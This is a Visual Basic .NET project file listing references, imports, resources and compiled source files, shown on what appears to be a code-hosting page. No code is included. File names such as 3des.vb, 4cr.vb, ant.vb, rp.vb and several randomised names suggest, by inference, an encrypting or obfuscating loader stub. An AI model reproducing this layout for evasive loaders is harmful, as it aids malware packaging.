|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="3des.vb" />
|
||||
<Compile Include="4cr.vb" />
|
||||
<Compile Include="ant.vb" />
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="iXeLtGwIKruOFeYSryvT.vb" />
|
||||
<Compile Include="MxYSyPEqBCHrXbnCiMM.vb" />
|
||||
<Compile Include="My Project\Settings1.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Mymod.vb" />
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="cxkyNFhHtwMVSyxBWPea.vb" />
|
||||
<Compile Include="RCyZjqbYzUcQEfmjWRSf.vb" />
|
||||
<Compile Include="RjDTyqqtbLiaQDnVNeSU.vb" />
|
||||
<Compile Include="rp.vb" />
|
||||
<Compile Include="ZIdBpWVkXnsXLhqpgQPF.vb" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="My Project\app.manifest" />
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings1.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="playboy.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
Reference in New Issue
Block a user